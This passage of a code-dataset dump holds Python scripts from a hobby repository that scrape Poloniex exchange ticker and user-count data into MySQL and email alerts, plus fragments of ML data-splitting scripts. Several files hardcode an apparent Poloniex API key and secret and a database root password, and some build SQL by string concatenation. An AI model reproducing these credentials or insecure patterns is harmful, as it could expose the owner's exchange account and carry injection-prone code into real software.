ticker[market]\n# last = data[\"last\"]\n# lowest_ask = data[\"lowestAsk\"]\n# highest_bid = data[\"highestBid\"]\n# percentchange = data[\"percentChange\"]\n# base_volume = data[\"baseVolume\"]\n# quote_volume = data[\"quoteVolume\"]\n# is_frozen = data[\"isFrozen\"]\n# high24hr = data[\"high24hr\"]\n# low24hr = data[\"low24hr\"]\n# insert = last, lowest_ask, highest_bid, percentchange, base_volume, quote_volume, is_frozen, high24hr, low24hr\n# log(str(market)+ \": \" + ','.join(insert))\n#write_ticker_data_to_db(\"BTC_PASC\", insert)\n\n" }, { "alpha_fraction": 0.6214098930358887, "alphanum_fraction": 0.6684073209762573, "avg_line_length": 27.16176414489746, "blob_id": "fdc395e25c288d52cc1ced8abe52e900d96ad8b6", "content_id": "d7b59c3186f92e0a27e80a379e30f238d9844d42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1915, "license_type": "no_license", "max_line_length": 137, "num_lines": 68, "path": "/old/poloniex_get_data.py", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport dateutil.parser\nimport requests\nimport MySQLdb\nfrom datetime import datetime, timedelta\nfrom lxml import html\n#from poloniex import Poloniex\nfrom poloniex import Poloniex, Coach\n#######GLOBALS##########\nROOT_URL = 'https://poloniex.com'\nINDEX_URL = ROOT_URL + '/exchange#btc_eth'\nCONN = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\nDEBUG = True\n\n#######FUNCTIONS##########\ndef get_web_page_data():\n response = requests.get(INDEX_URL)\n tree = html.fromstring(response.content)\n users_online = tree.xpath('//span[@id=\"usersOnline\"]/text()')[0]\n server_time = tree.xpath('//span[@id=\"serverTime\"]/text()')[0]\n return (users_online, server_time)\n\ndef write_users_to_db(usersOnline):\n x = CONN.cursor()\n try:\n\tx.execute(\"\"\"INSERT INTO `Users_Online`(`Number_Of_Users`) VALUES (%s)\"\"\",(usersOnline))\n\tCONN.commit()\n except:\n\tCONN.rollback()\n\n\n#######HELPERS##########\ndef get_date_time(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\npolo = Coach()\n\npublic = Poloniex(coach=polo)\nprivate = Poloniex(\"NQVE5PYF-CPG3TGTY-E21OLYUG-9YT229HG\", \\\n\t\t \"0cda3c2e4ca65a1a5ca9969e887d10d3605ab5f9544ce308145d47d701e49dfb616fa7a67e6b98bc1f30ef83b45e8978f5e2ba13d213002d8e067fded940cd38\", \\\n\t\t coach=polo)\n\nbalance = private('returnBalances')\nprint(\"I have %s BTC!\" % balance['BTC'])\n\nprint(public.returnTicker()['BTC_ETH'])\nprint(public.returnTicker()['USDT_BTC'])\nprint(public.return24Volume()['BTC'])\n\nlog(\"**********************************************************\")\n#get number of users online \nusers_online, server_time = get_web_page_data()\nlog('Users Online: ' + str(users_online))\nlog('Server Time: ' + str(server_time))\nserver_time = get_date_time(server_time)\nprint (type(server_time))\n\n#write_users_to_db(usersOnline)\n\n\nCONN.close()\n" }, { "alpha_fraction": 0.6591872572898865, "alphanum_fraction": 0.673321545124054, "avg_line_length": 35.05095672607422, "blob_id": "08c42105c0c8228ebfbc4cc7b96a6ae4157dd42f", "content_id": "9d55dd5087ecbae58ad777275633d2e944d45d60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5660, "license_type": "no_license", "max_line_length": 172, "num_lines": 157, "path": "/old/check_poloniex.py", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport dateutil.parser\nimport requests\nimport MySQLdb\nimport smtplib\nimport os.path\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n#from datetime import datetime\nfrom datetime import datetime, timedelta\nfrom lxml import html\n\n#######GLOBALS##########\nROOT_URL = 'https://poloniex.com'\nINDEX_URL = ROOT_URL + '/exchange#btc_eth'\n\nFROM = \"[email protected]\"\nTO = (\"[email protected]\", \"[email protected]\")\nSUBJECT = \"Poloniex number of users change significantly last 1h\"\nSUBJECT_DAY = \"Poloniex number of users change significantly last 24h\"\nSERVER = \"localhost\"\nCONN = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\nDEBUG = True\nRE_NOTYFICATION_PERIOD = 1\nMAX_CHANGE_HOUR = 0.1\nMAX_CHANGE_DAY = 0.1\n\n#######FUNCTIONS##########\ndef get_web_page_urls():\n response = requests.get(INDEX_URL)\n tree = html.fromstring(response.content)\n usersOnline = tree.xpath('//span[@id=\"usersOnline\"]/text()')\n return usersOnline\n\ndef write_users_to_db(usersOnline):\n x = CONN.cursor()\n try:\n\tx.execute(\"\"\"INSERT INTO `Users_Online`(`Number_Of_Users`) VALUES (%s)\"\"\",(usersOnline))\n\tCONN.commit()\n except:\n\tCONN.rollback()\n\ndef get_average_last_hour(sqlq):\n #log(sqlq)\n x = CONN.cursor()\n try:\n\tx.execute(sqlq)\n\trows = x.fetchall()\n except:\n\tCONN.rollback()\n avgUsers = 0\n for row in rows:\n\t#log(\"Value:\" + row[0])\n\tavgUsers += int(row[0])\n avgUsers = avgUsers/NumberOfRecords\n return avgUsers\n\ndef write_date_of_last_notyfication(fileName):\n f = open(fileName, \"w\")\n f.write(str(datetime.now()))\n f.close()\n\ndef check_last_notyfication(fileName):\n if (not os.path.isfile(fileName)):\n\treturn True\n f = open(fileName, \"r\")\n line = f.readline()\n f.close()\n lastNotyficatioin = getDateTimeFromISO8601String(line)\n now = datetime.now()\n if abs(now - lastNotyficatioin) > timedelta(hours=RE_NOTYFICATION_PERIOD):\n\treturn True\n return False\n\n#######HELPERS##########\ndef sendMail(FROM,TO,SUBJECT,TEXT,HTML,SERVER,notyfiType):\n \"\"\"Function sending email Input: FROM,TO,SUBJECT,TEXT,HTML,SERVER\"\"\"\n write_date_of_last_notyfication(notyfiType)\n\n COMMASPACE = ', '\n msg = MIMEMultipart('alternative')\n msg['Subject'] = SUBJECT\n msg['From'] = FROM\n msg['To'] = COMMASPACE.join(TO)\n # Record the MIME types of both parts - text/plain and text/html.\n part1 = MIMEText(TEXT, 'plain')\n part2 = MIMEText(HTML, 'html')\n # Attach parts into message container.\n # According to RFC 2046, the last part of a multipart message, in this case\n # the HTML message, is best and preferred.\n msg.attach(part1)\n msg.attach(part2)\n # Send the email via our own SMTP server.\n s = smtplib.SMTP(SERVER)\n s.sendmail(FROM, TO, msg.as_string())\n s.quit()\n\ndef getDateTimeFromISO8601String(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\nlog(\"**********************************************************\")\n#get number of users online \nusersOnline = get_web_page_urls()[0]\nlog('Users Online: ' + str(usersOnline))\nwrite_users_to_db(usersOnline)\n\n\n#get number of users avarage last hour \n#Get last 12 records we are checking every 5 min so 5x12=60min\nNumberOfRecords = 12\n#sqlquery = \"\"\"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Id` > (SELECT MAX(`Id`) - %s FROM `Users_Online`)\"\"\",NumberOfRecords\nsqlquery = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Id` > (SELECT MAX(`Id`) - \" + str(NumberOfRecords) + \" FROM `Users_Online`)\"\navgHourUsers = get_average_last_hour(sqlquery)\nlog('Average last hour: '+ str(avgHourUsers))\n#% changed last hour \n#change = float(usersOnline)/float(avgHourUsers)\nchange = abs(1-(float(avgHourUsers)/float(usersOnline)))\nlog(\"Change last hour: \" + str(\"%.2f\" % round(change,2)))\n\nsend = check_last_notyfication(\"last_notyfication_uah\")\nif send and change > MAX_CHANGE_HOUR: \n # Create the body of the message (a plain-text and an HTML version).\n TEXT = \"Achtung!\\nA significant change in number of users on Poloniex\\nChange: \" + str(\"%.2f\" % round(change,2)) + \"%\"\n HTML = \"<html><head></head><body><p>Achtung!!!<br>A significant change in number of users on Poloniex<br>Change:\"+ str(\"%.2f\" % round(change,2)) + \"%</p></body></html>\"\n sendMail(FROM,TO,SUBJECT,TEXT,HTML,SERVER,\"last_notyfication_uah\")\n log(\"Email Sent To: \" + \", \".join(TO))\n\n#Send if 24h change is > then 85%\n#get number of users avarage last 24 hours\n#Get last 12 records we are checking every 5 min so 5x228=1440min (24h)\nNumberOfRecords = 228\nsqlquery = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Id` > (SELECT MAX(`Id`) - \" + str(NumberOfRecords) + \" FROM `Users_Online`)\"\navgDayUsers = get_average_last_hour(sqlquery)\nlog('Average last 24 hours: '+ str(avgDayUsers))\n#% changed last hour \n#changeDay = float(usersOnline)/float(avgDayUsers)\nchangeDay = abs(1-(float(avgDayUsers)/float(usersOnline)))\nlog(\"Change last 24 hour: \" + str(\"%.2f\" % round(changeDay,2)))\n\nsend = check_last_notyfication(\"last_notyfication_day\")\nif send and change > MAX_CHANGE_DAY: \n # Create the body of the message (a plain-text and an HTML version).\n TEXT = \"Achtung!\\nA significant change in number of users on Poloniex last 24h \\nChange: \" + str(\"%.2f\" % round(changeDay,2)) + \"%\"\n HTML = \"<html><head></head><body><p>Achtung!!!<br>A significant change in number of users on Poloniex<br>Change:\"+ str(\"%.2f\" % round(change,2)) + \"%</p></body></html>\"\n sendMail(FROM,TO,SUBJECT_DAY,TEXT,HTML,SERVER,\"last_notyfication_day\")\n log(\"Email Sent To: \" + \", \".join(TO))\n\n\nCONN.close()\n" }, { "alpha_fraction": 0.5836032629013062, "alphanum_fraction": 0.5958136320114136, "avg_line_length": 32.44166564941406, "blob_id": "736307a97ea56c3ab143832c38e00a50475b4860", "content_id": "dcb65ebf2aaf1d4be97d0a33ba7bb850fc1db08e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4013, "license_type": "no_license", "max_line_length": 146, "num_lines": 120, "path": "/tests/avg_users_24h_poloniex_20170618", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport requests\nimport MySQLdb\nimport smtplib\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom datetime import datetime\n\n#######GLOBALS########################################################################\nFROM = \"[email protected]\"\nTO = (\"[email protected]\", \"[email protected]\")\nSUBJECT = \"Average number of users Poloniex\"\nSERVER = \"localhost\"\nDEBUG = True\n\n######################################################################################\n\n#######FUNCTIONS##########\n\ndef get_average_last_hour(sqlq):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n #log(sqlq)\n x = conn.cursor()\n try:\n\tx.execute(sqlq)\n\trows = x.fetchall()\n except:\n\tconn.rollback()\n #log(\"Number of records: \" + str(len(rows)))\n avg_users = 0\n for row in rows:\n\t#log(\"Value:\" + row[0])\n\tavg_users += int(row[0])\n avg_users = avg_users/len(rows)\n #log (\"AVG:\" + str(avg_users))\n conn.close()\n return avg_users\n\n\n#######HELPERS##########\ndef sendMail(FROM,TO,SUBJECT,TEXT,HTML,SERVER):\n \"\"\"Function sending email Input: FROM,TO,SUBJECT,TEXT,HTML,SERVER\"\"\"\n #write_date_of_last_notyfication(notyfiType)\n COMMASPACE = ', '\n msg = MIMEMultipart('alternative')\n msg['Subject'] = SUBJECT\n msg['From'] = FROM\n msg['To'] = COMMASPACE.join(TO)\n # Record the MIME types of both parts - text/plain and text/html.\n part1 = MIMEText(TEXT, 'plain')\n part2 = MIMEText(HTML, 'html')\n # Attach parts into message container.\n # According to RFC 2046, the last part of a multipart message, in this case\n # the HTML message, is best and preferred.\n msg.attach(part1)\n msg.attach(part2)\n # Send the email via our own SMTP server.\n s = smtplib.SMTP(SERVER)\n s.sendmail(FROM, TO, msg.as_string())\n s.quit()\n\ndef getDateTimeFromISO8601String(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\nlog(\"**********************************************************\")\n#get number of users avarage last hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 1 HOUR\"\navg_hour_users = get_average_last_hour(sql_query)\nlog('Average last hour: '+ str(avg_hour_users))\n\n#get number of users avarage last 24 hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 1 DAY\"\navg_day_users = get_average_last_hour(sql_query)\nlog('Average last 24 hour: '+ str(avg_day_users))\n\n#get number of users avarage 2 days ago hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 2 DAY AND `Time_Stamp` <= NOW() - INTERVAL 1 DAY\"\navg_2day_users = get_average_last_hour(sql_query)\nlog('Average 2 days ago: '+ str(avg_day_users))\n\n#count average Houerly and Daily\nh_c = float(avg_hour_users)/float(avg_day_users)*100\nd_c = float(avg_day_users)/float(avg_2day_users)*100\n\n#convert to strings for mail \nahu = str(\"%.0f\" % round(avg_hour_users,0))\nadu = str(\"%.0f\" % round(avg_day_users,0))\na2du = str(\"%.0f\" % round(avg_2day_users,0))\nh_cs = str(\"%.2f\" % round(h_c,2))\nd_cs = str(\"%.2f\" % round(d_c,2))\nlog(\"Houerly[%]: \" + h_cs)\nlog(\"Daily[%]: \" + d_cs)\n\n#Create the body of the message (a plain-text and an HTML version).\nTEXT = \"Poloniex Users:\\n Last Hour:\" + ahu + \\\n \"\\n Last day:\" + adu + \\\n \"\\n 2 days ago:\" + a2du + \\\n \"\\nChanges in number of users on Poloniex\\n Houerly[%]: \"+ h_cs+\" \\n Daily[%]: \" + d_cs\n\nHTML = \"<html><head></head><body><p>Poloniex Users:<br>\" + \\\n \"<ul> <li>Last Hour:\" + ahu + \\\n \"</li><li> Last day:\" + adu + \\\n \"</li><li> 2 days ago:\" + a2du + \\\n \"</li></ul></p>\" + \\\n \"<p>Changes in number of users on Poloniex:<br><ul>\" + \\\n \"<li>Houerly[%]: \"+ h_cs+\"</li><li> Daily[%]: \" + d_cs + \\\n \"</li></ul></p></body></html>\"\n\n#log(TEXT)\n#log(HTML)\nsendMail(FROM,TO,SUBJECT,TEXT,HTML,SERVER)\nlog(\"Email Sent To: \" + \", \".join(TO))\n" }, { "alpha_fraction": 0.5473546981811523, "alphanum_fraction": 0.5809928178787231, "avg_line_length": 38.25640869140625, "blob_id": "e42551b15ff899eb991ce880d4038715a99a5df0", "content_id": "7ed069a683109e02d93514d707560ba75d1b0388", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3062, "license_type": "no_license", "max_line_length": 143, "num_lines": 78, "path": "/poloniex_get_api_data2.py", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport MySQLdb\n#import json\nfrom datetime import datetime\nfrom poloniex import Poloniex, Coach\nimport sys\n\n#######GLOBALS##########\nDEBUG = True\nmarkets = [\"USDT_REP\", \"BTC_XVC\", \"BTC_PINK\", \"BTC_SYS\", \"BTC_EMC2\", \"BTC_RADS\", \"BTC_SC\", \"BTC_MAID\", \\\n \"BTC_GNT\", \"BTC_BCN\", \"BTC_REP\", \"BTC_BCY\", \"BTC_GNO\", \"XMR_NXT\", \"USDT_ZEC\", \"BTC_FCT\", \"USDT_ETH\", \\\n \"USDT_BTC\", \"BTC_LBC\", \"BTC_DCR\", \"USDT_ETC\", \"BTC_AMP\", \"BTC_XPM\", \"BTC_NXT\", \"BTC_VTC\", \"ETH_STEEM\", \\\n \"XMR_BLK\", \"BTC_PASC\", \"XMR_ZEC\", \"BTC_GRC\", \"BTC_NXC\", \"BTC_BTCD\", \"BTC_LTC\", \"BTC_DASH\", \"BTC_NAUT\", \\\n \"ETH_ZEC\", \"BTC_ZEC\", \"BTC_BURST\", \"BTC_BELA\", \"BTC_STEEM\", \"BTC_ETC\", \"BTC_ETH\", \"BTC_HUC\", \"BTC_STRAT\", \\\n \"BTC_LSK\", \"BTC_EXP\", \"BTC_CLAM\", \"ETH_REP\", \"XMR_DASH\", \"USDT_DASH\", \"BTC_BLK\", \"BTC_XRP\", \"USDT_NXT\", \\\n \"BTC_NEOS\", \"BTC_BTS\", \"BTC_DOGE\", \"ETH_GNT\", \"BTC_SBD\", \"ETH_GNO\", \"BTC_XCP\", \"USDT_LTC\", \"BTC_BTM\", \\\n \"USDT_XMR\", \"ETH_LSK\", \"BTC_OMNI\", \"BTC_NAV\", \"BTC_FLDC\", \"BTC_XBC\", \"BTC_DGB\", \"BTC_NOTE\", \"XMR_BTCD\", \\\n \"BTC_VRC\", \"BTC_RIC\", \"XMR_MAID\", \"BTC_STR\", \"BTC_POT\", \"BTC_XMR\", \"BTC_SJCX\", \"BTC_VIA\", \"BTC_XEM\", \\\n \"BTC_NMC\", \"ETH_ETC\", \"XMR_LTC\", \"BTC_ARDR\", \"BTC_FLO\", \"USDT_XRP\", \"BTC_GAME\", \"BTC_PPC\", \"XMR_BCN\", \"USDT_STR\"]\n\n#######FUNCTIONS##########\ndef write_ticker_data_to_db(table, insert):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n x = conn.cursor()\n sql = \"INSERT INTO \" + table + \" (`Last`, `LowestAsk`, `HighestBid`, `PercentChange`, `BaseVolume`, \" + \\\n \"`QuoteVolume`, `IsFrozen`, `24hrHigh`, `24hrLow`) VALUES (\" + ','.join(insert) + \")\"\n #print(sql)\n try:\n \tx.execute(sql)\n \tconn.commit()\n except:\n \tconn.rollback()\n conn.close()\n\n\n#######HELPERS##########\ndef get_date_time(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\nlog(\"**********************************************************\")\nlog(\"Start\")\npolo = Coach()\n\npublic = Poloniex(coach=polo)\nprivate = Poloniex(\"NQVE5PYF-CPG3TGTY-E21OLYUG-9YT229HG\", \\\n \"0cda3c2e4ca65a1a5ca9969e887d10d3605ab5f9544ce308145d47d701e49dfb616fa7a67e6b98bc1f30ef83b45e8978f5e2ba13d213002d8e067fded940cd38\", \\\n coach=polo)\nticker = public.returnTicker()\nm = ticker.keys()\n\n#for i in m:\n# sys.stdout.write('\"')\n# sys.stdout.write(str(i))\n# sys.stdout.write('\", ')\n\nfor market in markets: \n data = ticker[market]\n last = data[\"last\"]\n lowest_ask = data[\"lowestAsk\"]\n highest_bid = data[\"highestBid\"]\n percentchange = data[\"percentChange\"]\n base_volume = data[\"baseVolume\"]\n quote_volume = data[\"quoteVolume\"]\n is_frozen = data[\"isFrozen\"]\n high24hr = data[\"high24hr\"]\n low24hr = data[\"low24hr\"]\n insert = last, lowest_ask, highest_bid, percentchange, base_volume, quote_volume, is_frozen, high24hr, low24hr\n #log(+ \": \" + ','.join(insert))\n write_ticker_data_to_db(str(market), insert)\n\nlog(\"End\")\n" } ]
8
Oanh2742/divide_block
https://github.com/Oanh2742/divide_block
c29bc5bde2a99007a7e1f5fccb93368ffb87c457
373046066060b8f9c5cdd97a1f8847dbcc581330
d9ed441565bf8827eb1534f6c4d447bd244205be
refs/heads/master
2022-12-16T12:51:10.898641
2020-09-16T13:15:15
2020-09-16T13:15:15
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6962332725524902, "alphanum_fraction": 0.7095990180969238, "avg_line_length": 30.653846740722656, "blob_id": "899eb8cbf8e76d9050ae663db7b8e6ba8c3486bc", "content_id": "d1197a3d9ec846cea7b5881371b7b2b4ce618323", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 823, "license_type": "no_license", "max_line_length": 100, "num_lines": 26, "path": "/Divide_Block_Image/divide_block.py", "repo_name": "Oanh2742/divide_block", "src_encoding": "UTF-8", "text": "import cv2\nimport os\n\ncurrent_dir = os.getcwd()\nprint(\"current directory: \",current_dir)\ndirectory = current_dir+'/divided_block'\n#So luong anh trong file nguon\nn = 6\n#Cach chia block\nhorizontal_divisor = 5\nvertical_divisor = 2\nfor i in range(n):\n\tpath = current_dir+'/image_source/image%d.jpg' %(i+1)\n\timg_src = cv2.imread(path)\n\th, w, c = img_src.shape\n\thorizontal_step = w//horizontal_divisor\n\tvertical_step = h//vertical_divisor\n\tos.chdir(directory)\n\tfor y in range(vertical_divisor):\n\t\tfor x in range(horizontal_divisor):\n\t\t\timg_sub = img_src[y*vertical_step:(y+1)*vertical_step, x*horizontal_step:(x+1)*horizontal_step,:]\n\t\t\tprint(img_sub.shape)\n\t\t\timg_sub_name = 'image%d%d.jpg' %(i+1,y*horizontal_divisor+x+1)\n\t\t\tcv2.imwrite(img_sub_name,img_sub)\n\t\t\tprint('successfully saved ',img_sub_name)\n\tos.chdir(current_dir)\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 41.5, "blob_id": "b88e54c8a10f247e338651d28eaa2e830d6e17e8", "content_id": "2aa62c6e0b67ee1474406ca3644e3f38ca39fc14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 85, "license_type": "no_license", "max_line_length": 69, "num_lines": 2, "path": "/README.md", "repo_name": "Oanh2742/divide_block", "src_encoding": "UTF-8", "text": "# divide_block\ndivide images in a folder into blocks and save them in another folder\n" } ]
2
BoredlyGit/InfiniteFlightConnectApiProjects
https://github.com/BoredlyGit/InfiniteFlightConnectApiProjects
2a766044aed47463b7d086d8ec5119211f5f7193
25ef06dae5f417f10b3b65d75cd79c3dc18508fa
df8982bde0897f3b68bedb8d80656328360aca86
refs/heads/master
2023-07-14T21:57:50.624988
2021-08-14T18:32:22
2021-08-14T18:32:22
396,095,722
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6239747405052185, "alphanum_fraction": 0.6406940221786499, "avg_line_length": 35.43678283691406, "blob_id": "4fc25ca7bb970de90cf76b3d1b8b54819997f3c1", "content_id": "abd92823bd2af07789dec8ae169a5ab457649c8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3170, "license_type": "no_license", "max_line_length": 118, "num_lines": 87, "path": "/main.py", "repo_name": "BoredlyGit/InfiniteFlightConnectApiProjects", "src_encoding": "UTF-8", "text": "# Code borrowed from https://github.com/flyme2bluemoon/InfiniteFlightConnect-Python\n# Reference: https://infiniteflight.com/guide/developer-reference/connect-api/version-2\n\nimport socket\nimport json\nfrom binascii import unhexlify\nimport time\n\n# UDP is connectionless, so packets do not have a designated destination, allowing anyone to pick them up. This also\n# means no connect() or accept(). IF sends packets containing the app and device info to port 15000\n# https://stackoverflow.com/questions/6189831/whats-the-purpose-of-using-sendto-recvfrom-instead-of-connect-send-recv\n\n\n\n\n\n\"\"\"\nData Types (Read and Write):\n- Int: 32-bit (4 bytes) signed int in little endian\n- String: utf-8 strings, can be decoded simply via bytes.decode()\n\n\"\"\"\n\n\nclass IFConnect:\n def __init__(self):\n self.device_info = None\n self.device_ip = None\n self.device_port = 10112 # IF Connect v2 receives on this port\n self.tcp = None\n\n def receive_int(self):\n \"\"\"\n Receives bytes from the tcp socket and converts them int an int. The bytes are interpreted as 32-bit (4 byte),\n big endian, signed integers.\n\n :return: (4) Bytes in the TCP socket buffer, converted into an int.\n :rtype: int\n \"\"\"\n return int.from_bytes(self.tcp.recv(4), \"little\", signed=True)\n\n def receive_string(self):\n return self.tcp.recv(self.receive_int()).decode()\n\n def connect_tcp(self, device_ip=None):\n if not device_ip:\n udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # SOCK_DGRAM (datagram) = UDP\n udp.bind((\"\", 15000))\n while True:\n self.device_info, addr = (udp.recvfrom(4096))\n if self.device_info:\n self.device_info = json.loads(self.device_info.decode())\n udp.close()\n break\n\n self.device_ip = addr[0]\n else:\n self.device_ip = device_ip\n\n self.tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # SOCK_STREAM = TCP\n # In this case, we are the client, so no need to call bind() and accept()\n self.tcp.connect((self.device_ip, self.device_port))\n print(f\"Connected to Infinite Flight Connect: {self.device_info['DeviceName']}, ip: {self.device_ip}\")\n\n def get_manifest(self):\n # Suggestion: 32-bit python cannot support this yet, the manifest length int is too large. Find a bypass.\n # NOTE: Different aircraft have different manifests\n a = -1\n self.tcp.sendall(a.to_bytes(4, \"little\", signed=True))\n self.tcp.sendall(False.to_bytes(5, \"big\"))\n\n time.sleep(1) # Manifest is very large, so it is sent in chunks, have to account for the delay.\n assert int.from_bytes(self.tcp.recv(4), \"little\", signed=True) == -1 # api returns -1 as acknowledgement\n\n manifest = self.receive_string()\n # this may cause issues, as the [4:] cuts out the string \"172 \", which I do not know the purpose of.\n return [item.split(\",\") for item in manifest[4:].split(\"\\n\")]\n\n\nclass Manifest:\n # TODO\n pass\n\n\nz = IFConnect()\nz.connect_tcp()\nprint(z.get_manifest())\n" } ]
1
adsteen/base_clstm
https://github.com/adsteen/base_clstm
3498a9ed76b03529b505fc96806595e781a21f38
a4dcdc02045f8432ecc3945d79a1a266170e0777
f4d9abbd39b180d6aaf6900415727178b354fdf2
refs/heads/master
2022-11-26T18:10:23.049416
2020-07-01T16:55:37
2020-07-01T16:55:37
285,917,919
0
2
null
null
null
null
null
[ { "alpha_fraction": 0.6009271144866943, "alphanum_fraction": 0.6300042271614075, "avg_line_length": 25.965909957885742, "blob_id": "22277cf7f526df17591fc0399ae0294122a0e716", "content_id": "f06cdea0bd58b58e36d41e2b5fa6ce7a4aeb3644", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2373, "license_type": "no_license", "max_line_length": 121, "num_lines": 88, "path": "/split_data_selective.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import csv\nimport numpy as np\t\n\nis_dna_data = True\n\nnum_classes = 1000\nmax_per_class = 20000\n\ninput_filename = '/mnt/data/sharing/nucleotide_annotation_data/all_annotation.tsv'\noutput_dir = '/mnt/data/computervision/dna_1000class_train80_val10_test10'\nlabel_filename = '../results/dna_1000class_names.csv'\n\ntrain_filename = output_dir + '/train.csv'\nval_filename = output_dir + '/validation.csv'\ntest_filename = output_dir + '/test.csv'\n\nclass_sizes = dict()\n\nwith open(input_filename) as tsvfile: \n reader = csv.reader(tsvfile, delimiter='\\t')\n i = 0\n for row in reader:\n if i > 0: #ignore the first line\n x = row[4] if is_dna_data else row[3]\n \tlabel = row[2]\n\t\t\tif not label in class_sizes:\n\t\t\t\tclass_sizes[label] = 0\n\t\t\tclass_sizes[label] += 1\n i += 1\n\t\tif i % 10000000 == 0:\n\t\t\tprint i\n print 'total examples: ', i-1\n\ntop_classes = sorted(class_sizes, key=class_sizes.get)[-num_classes:]\n\nlabel_mapping = dict()\nlabels = []\nsplit_data = dict()\n\nprint 'top class sizes:'\nfor label in top_classes:\n\tlabel_mapping[label] = len(label_mapping)\n\tlabels.append(label)\n\tsplit_data[label_mapping[label]] = []\n\tprint class_sizes[label]\n\nwith open(input_filename) as tsvfile: \n\treader = csv.reader(tsvfile, delimiter='\\t')\n\ti = 0\n\tfor row in reader:\n\t\tif i > 0: #ignore the first line\n\t\t\tx = row[4] if is_dna_data else row[3]\n\t\t\tlabel = row[2]\n\t\t\tif label in label_mapping:\n\t\t\t\ty = label_mapping[label]\n\t\t\t\tif len(split_data[y]) < max_per_class:\n\t\t\t\t\tsplit_data[y].append(x)\n\t\ti += 1\n\t\tif i % 10000000 == 0:\n\t\t\tprint i\n\tprint 'chosen examples: ', i-1\n\nwith open(label_filename, 'w') as label_file:\n\tw = csv.writer(label_file)\n\tfor i in range(len(labels)):\n\t\tw.writerow([i, labels[i]])\n\"\"\"\nprint 'class sizes:'\nfor y in split_data:\n\tprint len(split_data[y])\n\"\"\"\nwith open(train_filename, 'w') as train_file, open(val_filename, 'w') as val_file, open(test_filename, 'w') as test_file:\n\ttrain_writer = csv.writer(train_file)\n\tval_writer = csv.writer(val_file)\n\ttest_writer = csv.writer(test_file)\n\n\tfor y in split_data:\n\t\tarr = split_data[y]\n\t\tl = len(arr)\n\t\tfor i in range(l):\n\t\t\tx = arr[i]\n\t\t\t#80% train, 10% val, 10% test\n\t\t\tif i < l * 8 / 10:\n\t\t\t\ttrain_writer.writerow([y, x])\n\t\t\telif i < l * 9 / 10:\n\t\t\t\tval_writer.writerow([y, x])\n\t\t\telse:\n\t\t\t\ttest_writer.writerow([y, x])\n" }, { "alpha_fraction": 0.6407713294029236, "alphanum_fraction": 0.6644628047943115, "avg_line_length": 26.5, "blob_id": "79ddf7f70064c0ca3ad46a8de831565f468beed6", "content_id": "0256224ea69d718729d338685609e1a638af13de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1815, "license_type": "no_license", "max_line_length": 121, "num_lines": 66, "path": "/split_data.py", "repo_name": "adsteen/base_clstm", "src_encoding": "UTF-8", "text": "import csv\nimport numpy as np\t\n\nis_dna_data = True\n\n\ninput_filename = '../data/prokaryote_refseq_top_30_1500max.tsv'\noutput_dir = '/mnt/data/computervision/train80_val10_test10'\nlabel_filename = '../results/class_names.csv'\n\nif is_dna_data:\n\tinput_filename = '/mnt/data/sharing/nucleotide_annotation_data/top30_annotation_4500.tsv'\n\toutput_dir = '/mnt/data/computervision/dna_train80_val10_test10'\n\tlabel_filename = '../results/dna_class_names.csv'\n\ntrain_filename = output_dir + '/train.csv'\nval_filename = output_dir + '/validation.csv'\ntest_filename = output_dir + '/test.csv'\n\nlabel_mapping = dict()\nlabels = []\nsplit_data = dict()\n\nwith open(input_filename) as tsvfile: \n\treader = csv.reader(tsvfile, delimiter='\\t')\n\ti = 